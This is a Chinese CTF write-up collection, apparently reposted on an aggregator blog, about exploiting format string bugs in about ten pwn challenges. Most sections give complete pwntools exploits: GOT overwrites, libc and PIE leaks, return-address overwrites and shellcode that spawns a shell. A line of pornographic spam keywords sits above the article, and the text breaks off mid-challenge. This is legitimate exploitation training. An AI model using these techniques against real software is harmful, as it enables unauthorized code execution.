日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

c语言格式化字符漏洞,格式化字符串漏洞题目练习

發布時間:2025/3/20 编程问答 44 豆豆
生活随笔 收集整理的這篇文章主要介紹了 c语言格式化字符漏洞,格式化字符串漏洞题目练习 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

整合一下最近做的格式化字符串題目的練習,把wp給寫一下,方便對總結對這個漏洞的利用套路和技巧。

inndy_echo

保護和arch

[*] '/media/psf/mypwn2/buuctf/inndy_echo/echo'

Arch: i386-32-little

RELRO: Partial RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE (0x8048000)

ida分析

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)

{

char s; // [esp+Ch] [ebp-10Ch]

unsigned int v4; // [esp+10Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);

setvbuf(stdin, 0, 2, 0);

setvbuf(stdout, 0, 2, 0);

do

{

fgets(&s, 256, stdin);

printf(&s);

}

while ( strcmp(&s, "exit\n") );

system("echo Goodbye");

exit(0);

}

可以看到會無限的打印你輸入的東西,并且有system這個函數,利用思路也就是GOT hijack,把printf函數的got改為system的plt,注意要單次printf多次寫入,改為system的plt后,再傳過去 /bin/sh ,此時就會變成 system(/bin/sh)

gdb調試

gdb-peda$ stack 0x20

0000| 0xffffd250 --> 0xffffd26c ("AAAA\n")

0004| 0xffffd254 --> 0x100

0008| 0xffffd258 --> 0xf7fb25a0 --> 0xfbad208b

0012| 0xffffd25c --> 0x0

0016| 0xffffd260 --> 0xf7ffd000 --> 0x23f40

0020| 0xffffd264 --> 0x80482e7 ("__libc_start_main")

0024| 0xffffd268 --> 0xf63d4e2e

0028| 0xffffd26c ("AAAA\n")

gdb-peda$ fmtarg 0xffffd26c

The index of format argument : 7 ("\%6$p")

確定偏移是7,打算一會寫payload時候需要補齊,就 .ljust 補成0x20的,也就是 offset = 7 + 0x20/4 = 15

exp

from pwn import *

context.log_level = 'debug'

context.arch = 'i386'

# io = process('./echo')

io = remote('node3.buuoj.cn',26990)

system_plt = 0x08048400

printf_got = 0x0804A010

def fmt_short(prev,val,idx,byte = 2):

result = ""

if prev < val :

result += "%" + str(val - prev) + "c"

elif prev == val :

result += ''

else :

result += "%" + str(256**byte - prev + val) + "c"

result += "%" + str(idx) + "$hn"

return result

prev = 0

payload = ""

key = 0x08048400

for i in range(2):

payload +=fmt_short(prev,(key >> 16*i) & 0xffff,15+i)

prev = (key >> i*16) & 0xffff

payload = payload.ljust(0x20,'a') + p32(printf_got) + p32(printf_got+2)

raw_input('->')

io.sendline(payload)

io.send('/bin/sh\x00')

io.interactive()

換一種就是用pwntools模塊,面對32位,這種情況還是很好用的:

from pwn import *

context.log_level = 'debug'

context.arch = 'i386'

# io = process('./echo')

io = remote('node3.buuoj.cn',26990)

system_plt = 0x08048400

printf_got = 0x0804A010

payload = fmtstr_payload(7,{printf_got : system_plt})

io.sendline(payload)

io.send('/bin/sh\x00')

io.interactive()

[DEBUG] Sent 0x3c bytes:

00000000 10 a0 04 08 11 a0 04 08 12 a0 04 08 13 a0 04 08 │····│····│····│····│

00000010 25 32 34 30 63 25 37 24 68 68 6e 25 31 33 32 63 │%240│c%7$│hhn%│132c│

00000020 25 38 24 68 68 6e 25 31 32 38 63 25 39 24 68 68 │%8$h│hn%1│28c%│9$hh│

00000030 6e 25 34 63 25 31 30 24 68 68 6e 0a │n%4c│%10$│hhn·││

0000003c

可以看一下其生成的payload,把目標地址信息放在開頭,在64位是肯定是不可行的。

jarvisoj_fm

ida分析

int __cdecl main(int argc, const char **argv, const char **envp)

{

char buf; // [esp+2Ch] [ebp-5Ch]

unsigned int v5; // [esp+7Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);

be_nice_to_people();

memset(&buf, 0, 0x50u);

read(0, &buf, 0x50u);

printf(&buf);

printf("%d!\n", *(_DWORD *)&x);

if ( *(_DWORD *)&x != 4 )

return 0;

puts("running sh...");

system("/bin/sh");

return 0;

}

十分簡單的題目,檢驗 x 值是否為4,如果是4(數字),就直接給你shell了。

exp

from pwn import *

context.log_level = 'debug'

# io = process('./fm')

io = remote('node3.buuoj.cn',26915)

# io.recv()

payload = p32(0x0804A02C) + '%11$hn'

raw_input('->')

io.sendline(payload)

io.interactive()

winesap_week6

源碼:

#include

int main() {

setvbuf(stdout, 0, _IONBF, 0);

alarm(180);

char str[100];

while(gets(str)) {

printf(str);

}

return 0;

}

需要編譯為64位,這個題比起來第一個也就是沒有了system函數,需要自己泄漏一下libc的base,算出system地址,然后還是GOT hijack就可以了。

EXP

from pwn import *

import time

context.arch = 'amd64'

context.log_level = 'debug'

io = process('./fmt1')

elf = ELF('./fmt1')

libc = elf.libc

printf_got = 0x0000601020

io.sendline('%21$p')

io.recvuntil('0x')

libc_base = int((io.recv(12)),16) - 240 -libc.symbols['__libc_start_main']

system_addr = libc_base + libc.symbols['system']

print('leak_libc_base: ' + hex(libc_base))

print('system_addr: ' + hex(system_addr))

def fmt_short(prev,val,idx,byte = 2):

result = ""

if prev < val :

result += "%" + str(val - prev) + "c"

elif prev == val :

result += ''

else :

result += "%" + str(256**byte - prev + val) + "c"

result += "%" + str(idx) + "$hn"

return result

prev = 0

payload = ""

key = system_addr

for i in range(3):

payload +=fmt_short(prev,(key >> 16*i) & 0xffff,12+i)

prev = (key >> i*16) & 0xffff

payload = payload.ljust(0x30,'a') + p64(printf_got) +p64(printf_got+2) + p64(printf_got+4)

io.sendline(payload)

sleep(1)

io.sendline('/bin/sh\x00')

io.interactive()

HITCON-Training-lab8

源碼

#include

int magic = 0 ;

int main(){

char buf[0x100];

setvbuf(stdout,0,2,0);

puts("Please crax me !");

printf("Give me magic :");

read(0,buf,0x100);

printf(buf);

if(magic == 0xda){

system("cat /home/craxme/flag");

}else if(magic == 0xfaceb00c){

system("cat /home/craxme/craxflag");

}else{

puts("You need be a phd");

}

}

編譯為64位。

分析

(這個題目是純粹就是為了練習任意地址寫入的,我這里就直接寫exp拿sheel了。)可以看到當再一次printf,之后程序便停止了,且結束前有puts函數。

思路就是可以GOT hijack put函數的GOT為read函數哪里,讓其call puts函數時返回到read函數,并且在這次printf函數漏洞利用時,也把printf函數的GOT改為system的plt,然后傳入 /bin/sh 即可。

exp

from pwn import *

context.log_level = 'debug'

context.arch = 'amd64'

io = process('./craxme')

# io = remote('127.0.0.1',8888)

magic = 0x0000060106C

io.recvuntil(':')

system_plt = 0x04005A0

puts_got = 0x0601018

ret_addr = 0x00400747

printf_got = 0x00601030

key = 0x00400747

key2 = 0x04005A0

def fmt_short(prev,val,idx,byte = 2):

result = ""

if prev < val :

result += "%" + str(val - prev) + "c"

elif prev == val :

result += ''

else :

result += "%" + str(256**byte - prev + val) + "c"

result += "%" + str(idx) + "$hn"

return result

prev = 0

payload = ""

for i in range(3):

payload +=fmt_short(prev,(key >> 16*i) & 0xffff,26+i)

prev = (key >> i*16) & 0xffff

for i in range(3):

payload +=fmt_short(prev,(key2 >> 16*i) & 0xffff,29+i)

prev = (key2 >> i*16) & 0xffff

payload = payload.ljust(0x80+0x20,'a') + flat([puts_got,puts_got+2,puts_got+4,printf_got,printf_got+2,printf_got+4])

io.sendline(payload)

io.interactive()

cacti-pwn3

保護和arch

[*] '/media/psf/mypwn2/ctf_wiki/fmt/cctf/pwn3'

Arch: i386-32-little

RELRO: Partial RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE (0x8048000)

ida分析

這個題模擬了一個ftp服務。

這里控制的是登陸。進入分析一下:

char *__cdecl ask_username(char *dest)

{

char src[40]; // [esp+14h] [ebp-34h]

int i; // [esp+3Ch] [ebp-Ch]

puts("Connected to ftp.hacker.server");

puts("220 Serv-U FTP Server v6.4 for WinSock ready...");

printf("Name (ftp.hacker.server:Rainism):");

__isoc99_scanf("%40s", src);

for ( i = 0; i <= 39 && src[i]; ++i )

++src[i];

return strcpy(dest, src);

}

用戶名函數,發現對你輸入的東西進行諸位的進行加一。

int __cdecl ask_password(char *s1)

{

if ( !strcmp(s1, "sysbdmin") )

return puts("welcome!");

puts("who you are?");

exit(1);

return puts("welcome!");

}

用戶密碼函數,發現要跟 sysbdmin 進行對比,如果不相等,就直接退出。

(strcmp函數對比兩個字符串時,相等返回0,!0 = 非假 = 真)

所以這個繞過就時sysbdmin 諸位減1即可。

剩下的就是輸入 get put dir ,會進入不同的分支,其中輸入get函數:

int get_file()

{

char dest; // [esp+1Ch] [ebp-FCh]

char s1; // [esp+E4h] [ebp-34h]

char *i; // [esp+10Ch] [ebp-Ch]

printf("enter the file name you want to get:");

__isoc99_scanf("%40s", &s1);

if ( !strncmp(&s1, "flag", 4u) )

puts("too young, too simple");

for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) )

{

if ( !strcmp(i, &s1) )

{

strcpy(&dest, i + 40);

return printf(&dest);

}

}

return printf(&dest);

}

這個函數是有格式化字符串漏洞的,當你put上去一個文件,它會讓你輸入文件名字和文件內容,然后get這個函數會根據文件名字,來輸出其內容,利用這兩個函數搭配一下就可以實現格式化字符串漏洞的利用了。并且在dir中,其會輸出一個文件的名字,用的是puts函數。然后就有思路利用了:

由于沒有system函數,然后就需要想辦法泄漏一下libc地址,來算出system的函數在libc的地址。

修改puts函數的got為system的地址,然后記得這個文件的名稱是 /bin/sh ,這樣在使用dir調用puts函數時,就可以拿到shell了。

這題比較有趣,有點難在分析這個程序在干嘛,利用思路倒是不難。

exp

from pwn import *

context.log_level = 'debug'

context.arch = 'i386'

io = process('./pwn3')

elf = ELF('./pwn3')

libc = elf.libc

s = 'sysbdmin'

key = ''

for i in s:

key+=chr(ord(i)-1)

print(key)

io.sendline(key)

info('---------leak libc_base--------')

io.recvuntil('>')

io.sendline('put')

io.recvuntil('upload:')

io.sendline('1111')

puts_got = elf.got['puts']

io.sendline('%8$s' + p32(puts_got) )

io.recvuntil('>')

io.sendline('get')

io.recvuntil('get:')

io.sendline('1111')

puts_addr = u32(io.recv(4)[:4])

print('puts_add:' + hex(puts_addr))

sys_addr = puts_addr - libc.symbols['puts'] + libc.symbols['system']

io.recvuntil('>')

info('---------hijack puts_got--------')

io.sendline('put')

io.recvuntil('upload:')

io.sendline('/bin/sh;')

payload = fmtstr_payload(7,{puts_got: sys_addr})

io.sendline(payload)

io.recvuntil('>')

io.sendline('get')

io.recvuntil('get:')

info('--------- get shell-------')

io.sendline('/bin/sh;')

io.recvuntil('>')

io.sendline('dir')

io.interactive()

三個白帽 - pwnme_k0

保護和arch

[*] '/media/psf/mypwn2/ctf_wiki/fmt/sgbm_pwnme/pwnme_k0'

Arch: amd64-64-little

RELRO: Full RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE (0x400000)

開啟了RELRO,這樣就無法修改got了。

ida分析

程序實現了一個注冊用戶的功能,注冊好后可以來展示用戶信息,修改用戶信息,和退出。其中在展示用戶信息當中,存在格式化字符串漏洞:

int __fastcall sub_400B07(char format, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, char formata, __int64 a8, __int64 a9)

{

write(0, "Welc0me to sangebaimao!\n", 0x1AuLL);

printf(&formata, "Welc0me to sangebaimao!\n");

return printf(&a9 + 4);

}

其中發現其輸出的buf就是你輸入的密碼:

并且還發現其中有個后門函數,會調用system函數給你shell,就可以去修改程序的返回地址,直接返回到這里就拿到shell了。

Gdb調試定位關鍵在這個printf當中,確定一下:

看一下此時的棧情況,輸入的usename可以確定偏移是8,rdi也是指向了存放password的地址。并且發現棧上也有很多棧的地址信息,當第二次運行到這里的時候,這里esp對應的地址信息也是不會變的,所以就可以通過泄漏這里的值來算出ret address,然后修改用戶信息,這下把ret address的point放到棧上,接著就開始修改ret address的值了。

exp

from pwn import *

context.log_level = 'debug'

context.arch = 'amd64'

io = process('./pwnme_k0')

# context.clear(arch = 'amd64')

io.recvuntil('lenth:20): \n')

io.sendline('%0006$lx')

io.recvuntil('lenth:20): \n')

io.sendline('11111111')

io.recvuntil('>')

io.sendline('1')

# io.recvuntil('Welc0me to sangebaimao!\n')

stack = int(io.recvline_contains('7f'),16)

print(stack)

ret_add = stack - 0x38

# system_add = 0x04008AA

payload = '%2218c%8$hn'

io.recvuntil('>')

io.sendline('2')

io.recvuntil('lenth:20): \n')

io.sendline(p64(ret_add))

io.recvuntil('lenth:20): \n')

io.sendline(payload)

io.recvuntil('>')

io.sendline('1')

io.interactive()

inndy-echo2

保護和arch

[*] '/media/psf/mypwn2/buuctf/inndy_echo2/echo2'

Arch: amd64-64-little

RELRO: Partial RELRO

Stack: No canary found

NX: NX enabled

PIE: PIE enabled

可以看到開啟了pie,這時候就需要來泄漏一下pie的基地址。

ida分析

void __noreturn echo()

{

char s; // [rsp+0h] [rbp-110h]

unsigned __int64 v1; // [rsp+108h] [rbp-8h]

v1 = __readfsqword(0x28u);

do

{

fgets(&s, 256, stdin);

printf(&s, 256LL);

}

while ( strcmp(&s, "exit\n") );

system("echo Goodbye");

exit(0);

}

代碼是比較簡單的,還是got hijack 就行了。難點也是如何來處理這個pie保護。

gdb 調試

=> 0x555555554984 : call 0x5555555547a0

0x555555554989 : lea rax,[rbp-0x110]

0x555555554990 : lea rsi,[rip+0xfd] # 0x555555554a94

0x555555554997 : mov rdi,rax

0x55555555499a : call 0x5555555547d0

找到關鍵點,然后看一下棧情況:

0192| 0x7fffffffe1c0 --> 0x7ffff7dd2620 --> 0xfbad2087

--More--(25/48)

0200| 0x7fffffffe1c8 --> 0x7ffff7a88947 (<_io_default_setbuf>: cmp eax,0xffffffff)

0208| 0x7fffffffe1d0 --> 0x7ffff7dd2620 --> 0xfbad2087

0216| 0x7fffffffe1d8 --> 0x7ffff7fd8700 (0x00007ffff7fd8700)

0224| 0x7fffffffe1e0 --> 0x555555554810 (<_start>: xor ebp,ebp)

0232| 0x7fffffffe1e8 --> 0x7ffff7a85439 (<_io_new_file_setbuf>: test rax,rax)

0240| 0x7fffffffe1f0 --> 0x7ffff7dd2620 --> 0xfbad2087

發現在 0x7fffffffe1e0 這里就可以泄漏出pie基址了,確定偏移是34。然后剩下的就簡單了,直接ida里面查看下plt和got ,加上以后就得到了真正的

plt和got地址。

exp

from pwn import *

context.log_level = 'debug'

context.arch = 'amd64'

io = process('./echo2')

# io = remote('node3.buuoj.cn',28200)

def leak1():

io.sendline('%34$p')

io.recvuntil('0x')

p_bass_addr = int((io.recv(9)+'000'),16)

return p_bass_addr

p_bass_addr = leak1()

print('p_bass_addr ->' + hex(p_bass_addr))

print_got = 0x201020 + p_bass_addr

print('print_got ->' + hex(print_got))

system_plt = 0x790 + p_bass_addr

print('system_plt ->' + hex(system_plt))

def fmt(prev,val,idx,byte = 2):

result = ""

if prev < val :

result += "%" + str(val - prev) + "c"

elif prev == val :

result += ''

else :

result += "%" + str(256**byte - prev + val) + "c"

result += "%" + str(idx) + "$hn"

return result

prev = 0

payload = ""

key = system_plt

for i in range(3):

payload +=fmt(prev,(key >> 16*i) & 0xffff,14+i)

prev = (key >> i*16) & 0xffff

payload = payload.ljust(0x40,'a') + flat([print_got,print_got+2,print_got+4])

# raw_input('->')

io.sendline(payload)

sleep(0.1)

io.sendline('/bin/sh\x00')

io.interactive()

-—

** 接下來的題,都是buf不再棧的上的題目。**

plaidctf2015-ebp

保護和arch

[*] '/media/psf/mypwn2/buuctf/plaidctf2015_ebp/ebp'

Arch: i386-32-little

RELRO: Partial RELRO

Stack: No canary found

NX: NX disabled

PIE: No PIE (0x8048000)

RWX: Has RWX segments

可以看到nx保護是關閉的,可以想辦法利用shellcode。

ida分析

int __cdecl main(int argc, const char **argv, const char **envp)

{

int result; // eax

while ( 1 )

{

result = (int)fgets(buf, 1024, stdin);

if ( !result )

break;

echo();

}

return result;

}

漏洞函數:

int make_response()

{

return snprintf(response, 0x400u, buf);

}

代碼十分簡單,但是這次的漏洞函數變成了snprintf ,時刻注意偏移的計算是針對格式化字符串的偏移。且buf是在bss段上的,已經變得不是我們當初一樣十分的好控制,此時就需要想辦法好好利用棧上原來有的數據。

gdb調試

gdb-peda$ stack 0x20

0000| 0xffffd320 --> 0x804a480 --> 0x0

0004| 0xffffd324 --> 0x400

0008| 0xffffd328 --> 0x804a080 ("AAAA\n")

0012| 0xffffd32c --> 0xf7fd31b0 --> 0xf7e00000 --> 0x464c457f

0016| 0xffffd330 --> 0xf7fe77eb (<_dl_fixup>: add esi,0x15815)

0020| 0xffffd334 --> 0x0

0024| 0xffffd338 --> 0xffffd358 --> 0xffffd378 --> 0x0

0028| 0xffffd33c --> 0x804852c (: mov DWORD PTR [esp],0x804a480)

可以看一下此時的棧情況。可以看到上面有很多可以利用的地址信息,其中最常用的也是ebp鏈 :

0024| 0xffffd338 --> 0xffffd358 --> 0xffffd378 --> 0x0

也就是這一個,第一次可以通過利用0xffffd338(ebp1)這個地址,其指向0xffffd358 (ebp2),然后利用 %xc%4$hhn 就可以修改0xffffd378(ebp3)。

將0xffffd378 改為指向ret address的棧地址 0xffffd33c :

0024| 0xffffd338 --> 0xffffd358 --> 0xffffd33c --> 0x804852c (: mov DWORD PTR [esp],0x804a480)

0028| 0xffffd33c --> 0x804852c (: mov DWORD PTR [esp],0x804a480)

改完也就是這樣的效果。

這樣就又可以通過利用 0xffffd358 (ebp2),其指向 0xffffd33c(ebp3),

接著就算一下0xffffd358 (ebp2)的偏移 y,然后利用 %xc%y$hhn 就可以修改0x804852c(ret address)

這樣攻擊思路也就出來了,可以修改retaddress ,返回在可控的buf 上面放好shellcode ,控制程序跳到shellcode即可。

exp

from pwn import *

import time

context.log_level = 'debug'

context.arch = 'i386'

io = process('./ebp')

# io = remote('node3.buuoj.cn',29994)

buf = 0x0804a080 + 0x40 #0x804a0c0

raw_input('->')

io.sendline('%4$p')

ret_stack_addr = int(io.recv(10),16) - 28

print('leak ret_stack_addr:'+hex(ret_stack_addr))

key1 = int(str(hex(ret_stack_addr))[-2:],16)

key2 = 0xa0c0

payload = '%{}c%4$hhn'.format(key1)

raw_input('->')

io.sendline(payload)

io.recv()

payload = '%{}c%12$hn'.format(key2)

payload = payload.ljust(0x40)

payload += asm(shellcraft.sh())

io.sendline(payload)

io.interactive()

hitcontraining-playfmt

保護和arch

[*] '/media/psf/mypwn2/buuctf/hitcontraining_playfmt/playfmt'

Arch: i386-32-little

RELRO: Partial RELRO

Stack: No canary found

NX: NX disabled

PIE: No PIE (0x8048000)

RWX: Has RWX segments

沒有任何保護。

ida分析

int do_fmt()

{

int result; // eax

while ( 1 )

{

read(0, buf, 0xC8u);

result = strncmp(buf, "quit", 4u);

if ( !result )

break;

printf(buf);

}

return result;

}

上層有play 和 main函數,一共三層,在第三層的這個函數存在格式化字符串漏洞,讓我們很方便的用ebp鏈來做題。然后,有無限次的觸發這個漏洞的機會。

攻擊思路 :因為沒有開nx保護,也就以為著可以用shellcode進行攻擊。然后還是改返回地址,提前在可控的buf合適的地方擺上shellcode,然后跳上去即可。

gdb分析

如圖所示,利用這個鏈即可。先想辦法把 Oxffffd358 改成 Oxffffd33c :

然后在想辦法把0x8048507 這個返回地址改成我們擺放的shellcode的地址即可。

exp

from pwn import *

import time

context.log_level = 'debug'

context.arch = 'i386'

io = process('./playfmt')

# io = remote('node3.buuoj.cn',26382)

buf = 0x0804A060 + 0x40 #0x804a0a0

offset1 = 6

offset2 = 10

info('---leak stack address---')

io.recvuntil('\n=====================\n')

io.sendline('%10$p')

ret_stack_addr = int(io.recv(10),16) - 28

print('leak ret_stack_addr:'+hex(ret_stack_addr))

info('---change the retaddr---')

key = int(str(hex(ret_stack_addr))[-2:],16)

payload = "%{}c%6$hhn".format(key)

raw_input('->')

io.sendline(payload)

sleep(0.1)

io.recv()

key2 = 0xa0a0

payload = "%{}c%10$hn".format(key2)

payload = payload.ljust(0x40)

payload += asm(shellcraft.sh())

raw_input('->')

io.sendline(payload)

io.recv()

sleep(0.1)

io.sendline('quit')

io.interactive()

記得發出去一次payload,一定需要接受一次,再去發第二個payload,防止沒有完成一個printf,就讓程序接受發送的東西,這樣容易崩潰。

pwnable-fsb

arch和保護

Arch: i386-32-little

RELRO: Partial RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE (0x8048000)

開了nx了。

ida分析

for ( k = 0; k <= 3; ++k )

{

printf("Give me some format strings(%d)\n", k + 1);

read(0, buf, 0x64u);

printf(buf);

}

puts("Wait a sec...");

sleep(3u);

可以看到這里控制了可以利用printf函數漏洞的次數,只可以利用4次。

execve(path, &path, 0);

且這一條可以給你拿到shell。

那攻擊思路就可以是改掉puts,sleep的got表,到這個拿取shell的位置就行。

因為這里下面就調用一次sleep,就改它好了,基本不會出問題。

注意一下這里的匯編代碼,其也是讓棧的esp處于不定的狀態。

gdb分析

此時的EBP = 0xffffd228

0000| 0xffffd1e0 --> 0x804a100 ("AAAA\n")

0004| 0xffffd1e4 --> 0x804a100 ("AAAA\n")

0008| 0xffffd1e8 --> 0x64 ('d')

0012| 0xffffd1ec --> 0xf7f5b2a2 ("__vdso_clock_gettime")

0016| 0xffffd1f0 --> 0xf7fe1fc9 (: add ebx,0x1b037)

0020| 0xffffd1f4 --> 0x0

0024| 0xffffd1f8 --> 0xf7ffdad0 --> 0xf7ffda74 --> 0xf7fd3470 --> 0xf7ffd918 --> 0x0

0028| 0xffffd1fc --> 0xffffd278 --> 0xf7e0b018 --> 0x3eab

0032| 0xffffd200 --> 0xffffd2c0 --> 0x804a024 --> 0xf7ed6290 (: cmp DWORD PTR gs:0xc,0x0)

0036| 0xffffd204 --> 0x8048870 ("/bin/sh")

0040| 0xffffd208 --> 0x0

0044| 0xffffd20c --> 0x0

0048| 0xffffd210 --> 0xffffd4a4 --> 0x0

0052| 0xffffd214 --> 0xffffdfce --> 0x656d2f00 ('')

0056| 0xffffd218 --> 0xffffd230 --> 0x0

0060| 0xffffd21c --> 0xffffd234 --> 0x0

0064| 0xffffd220 --> 0x0

0068| 0xffffd224 --> 0x1

0072| 0xffffd228 --> 0xffffd378 --> 0x0

可以看到,因為這個題是main -> fsb ,用戶代碼只有2層函數的調用,看這個ebp chain的時候就有點不方便了,我們沒有一個完整的chain來使用。這個時候,就只能把ebp3 的值,自己寫上去,寫上sleep的got然后再改成拿shell的地址就行了。

整個過程還是需要泄漏一下棧地址esp,因為其棧是變化的。泄露以后,也獲取一下ebp2的值,然后(ebp2- esp )/4 也就確定到了,main的ebp值(ebp3)對應格式化字符串的偏移值。然后再次利用printf函數根據這個偏移來進行改寫sleep got上的值。

exp

from pwn import *

import time

context.log_level = 'debug'

context.arch = 'i386'

io = process('./fsb')

# s = ssh(

# host="pwnable.kr",

# port=2222,

# user="fsb",

# password="guest"

# )

# io = s.run("/home/fsb/fsb")

# io = shell.run("/home/fsb/fsb")

sleep_got = 0x0804a008

info('--------leak stack base:-------')

io.recvuntil('strings(1)\n')

io.sendline('%14$p')

io.recvuntil('0x')

stack_base = int(io.recv(8),16) - 80

print(hex(stack_base))

info('--------leak the point to main ebp:-------')

io.recvuntil('strings(2)\n')

io.sendline('%18$p')

io.recvuntil('0x')

point = int(io.recv(8),16)

print(hex(point))

info('--------write sleep_got to main_ebp :-------')

io.recvuntil('strings(3)\n')

key1 = 0x0804A008

payload = '%' + str(key1) + 'c%18$n'

io.sendline(payload)

info('--------write tag to sleep_got :-------')

tag = 0x869F

offset = (point - stack_base) / 4

payload = "%{}c%'str(offset)'$hn ".format(tag)

io.recvuntil('strings(4)\n')

io.sendline(payload)

io.interactive()

inndy-echo3

保護和arch

Arch: i386-32-little

RELRO: Partial RELRO

Stack: Canary found

NX: NX enabled

PIE: No PIE (0x8048000)

ida分析

這一處會讓棧的情況變得無法預測。然后進入hardfmt:

for ( i = 0; i <= 4; ++i )

{

read(0, buff, 0x1000u);

printf(buff);

}

這一處存在漏洞,且往下看感覺沒什么好利用的,沒什么漏洞函數。那攻擊思路就是:改printf的got表,然后在第5次傳過去 /bin/sh 即可。

(這個題目思路還是很簡單的,但是因為這個次數的限制,在實際操作過程中,要充分的利用每一次格式化字符串漏洞。)

gdb分析

因為棧情況不一樣,可以選擇最適合我們利用漏洞的棧空間,這樣做起來會簡單一些。

我自己選擇在偏移在43的時候開始進行分析,想辦法來利用這個漏洞:

仔細看下此時的棧情況 ,然后再次分析下我們的目標 :

泄漏libc基址,計算出system的內存地址。

在棧上構造出printf的got地址和printf的got地址+2的地址(0x0804a014和0x0804a016)

在構造的got地址上,開始寫system地址

由于這個漏洞可以的用的次數最多是4次,所以要盡可能利用每一次。

如上圖所示,很簡單就可以泄漏出libc基址。

但是接下來怎么構造printf的got地址和printf的got地址+2的地址就有點難了。

此時注意圖上前兩個框框,可以發現把第二個框框的兩個地址修改為 第一個框框的棧指針:

gdb-peda$ set *0xffbe5e6c = 0xffbe5d54

gdb-peda$ set *0xffbe5e64 = 0xffbe5d60

這個過程在泄漏目標棧地址以后,也是可以通過一次printf函數寫入2次地址,實現這個棧情況的。

接著就可以構造got地址:

gdb-peda$ set *0xffbe5d60 = 0x0804a016

gdb-peda$ set *0xffbe5d54 = 0x0804a014

然后就可以寫system的內存地址上got了:

0120| 0xffbe5d88 --> 0xffbe5e6c --> 0xffbe5d54 --> 0x804a014 --> 0xf7e0cda0 (<__libc_system>: sub esp,0xc)

這樣再傳過去一下 /bin/sh 即可。

exp

from pwn import *

context.log_level = 'debug'

context.arch ='i386'

import time

elf = ELF('./echo3')

debug = 1

while True:

if debug :

io = process('./echo3')

libc = elf.libc

else:

io = remote('node3.buuoj.cn',25057)

libc = ELF('./libc-2.23.so.i386')

payload = '%43$pA%30$pA%47$p'

io.sendline(payload)

address = io.recvline().strip()

if address[-3:] == '637':

if address[7:10] == '637':

libc_base = int(address[2:10],16) - 247 - libc.symbols['__libc_start_main']

tag1_stack_point = int(address[13:21],16) - 0x118

tag2_stack_point = int(address[13:21],16) - 0x104 - 0x8

system_addr = libc_base + libc.symbols['system']

print('system_addr ->' + hex(system_addr))

print('tag1_stack_point ->' + hex(tag1_stack_point))

print('tag2_stack_point ->' + hex(tag2_stack_point))

break

else :

io.close()

continue

# io =

def fmtshort(prev,val,idx,byte = 2):

result = ""

if prev < val :

result += "%" + str(val - prev) + "c"

elif prev == val :

result += ''

else :

result += "%" + str(256**byte - prev + val) + "c"

result += "%" + str(idx) + "$hn"

return result

def fmtbyte(prev,val,idx,byte = 1):

result = ""

if prev < val :

result += "%" + str(val - prev) + "c"

elif prev == val :

result += ''

else :

result += "%" + str(256**byte - prev + val) + "c"

result += "%" + str(idx) + "$hhn"

return result

printf_got = 0x0804a014

key1 = int(hex(tag1_stack_point)[-4:],16)

key2 = int(hex(tag2_stack_point)[-4:],16)

info('--------change the two points to tag_stack_point:-------')

# raw_input('->')

prev = 0

payload = ""

for i in range(1):

payload +=fmtshort(prev,(key1 >> 16*i) & 0xffff,30+i)

prev = (key1 >> i*16) & 0xffff

for i in range(1):

payload +=fmtshort(prev,(key2 >> 16*i) & 0xffff,31+i)

prev = (key2 >> i*16) & 0xffff

payload = payload + '1111'

raw_input('->')

io.sendline(payload)

io.recvuntil('1111')

info('--------change got_table to printf_got:-------')

raw_input('->')

prev = 0

payload = ""

key3 = 0x14

key4 = 0x16

for i in range(1):

payload +=fmtbyte(prev,(key3 >> 8*i) & 0xff,87+i)

prev = (key3 >> i*8) & 0xff

for i in range(1):

payload +=fmtbyte(prev,(key4 >> 8*i) & 0xff,85+i)

prev = (key4 >> i*8) & 0xff

payload = payload + '2222'

io.sendline(payload)

io.recvuntil('2222')

info('--------change printf_got to system_addr:-------')

raw_input('->')

prev = 0

payload = ""

key5 = int(hex(system_addr)[-4:],16)

key6 = int(hex(system_addr)[2:6],16)

print('key5 -> ' + hex(key5))

print('key6 -> ' + hex(key6))

for i in range(1):

payload +=fmtshort(prev,(key5 >> 16*i) & 0xffff,17+i)

prev = (key5 >> i*16) & 0xffff

for i in range(1):

payload +=fmtshort(prev,(key6 >> 16*i) & 0xffff,20+i)

prev = (key6 >> i*16) & 0xffff

payload = payload + '3333'

io.sendline(payload)

sleep(1)

io.recvuntil('3333')

raw_input('>>>>>>>>>>')

io.sendline('/bin/sh\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')

io.interactive()

這個exp的難點在于:

注意去定位到合適的棧結構再去利用

盡量充分利用每一次的printf

單次printf多次寫入

注意每次傳數據過去后,一定要接收一下,并且再一次的數據讀入要防止bss上的緩沖區里面參雜數據的影響。

結論和收獲

這個題教會我一定要 靈活、充分的利用棧上的數據 ,單純的ebp鏈只是適合簡單的情況。還有就是面對這種會有隨機棧情況的題目,盡量要注意本地和遠程的ibc版本、注意環境,這些不一樣導致棧的情況也是不一樣的,導致exp也要有相應的變化。

xman-2019-format

保護和arch

CANARY : disabled

FORTIFY : disabled

NX : ENABLED

PIE : disabled

RELRO : Partial

ida分析

char *__cdecl sub_80485C4(char *s)

{

char *v1; // eax

char *result; // eax

puts("...");

v1 = strtok(s, "|");

printf(v1);

while ( 1 )

{

result = strtok(0, "|");

if ( !result )

break;

printf(result);

}

return result;

}

這里因為用strtok做處理,只有一次的傳送機會,payload需要用 | 分割格式化字符串來完成每次的printf的漏洞利用,稍微麻煩了一下。

并且存在后門函數:

.text:080485AB push ebp

.text:080485AC mov ebp, esp

.text:080485AE sub esp, 8

.text:080485B1 ; 3: return system("/bin/sh");

